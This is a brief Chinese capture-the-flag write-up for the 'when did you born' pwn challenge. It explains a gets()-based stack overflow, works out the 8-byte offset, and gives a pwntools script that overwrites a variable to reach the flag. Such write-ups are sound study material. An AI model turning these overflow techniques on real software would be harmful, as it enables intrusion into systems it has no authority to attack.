pwn when did you born

栈溢出的题
题目来源:https://cgctf.nuptsast.com/challenges#Pwn

拖进IDA(64位）
分析一波代码，看到这个gets,应该是栈溢出了
首先，我们需要提供一个不是1926的值，然后，通过输入v4时的溢出来改v5的值为1926，就可以拿到flag了

接着计算偏移，v4为ebp-20h,v5为ebp-18h,差为8h,payload就出来了
下面写出脚本，运行即得flag

from pwn import *
sh = remote('ctf.acdxvfsvd.net',1926)
payload = 'a' * 0x8 + p64(1926)
sh.recvuntil("What\'s Your Birth?\n")
sh.sendline("1927")
sh.recvuntil("What\'s Your Name?\n")
sh.sendline(payload)
sh.interactive()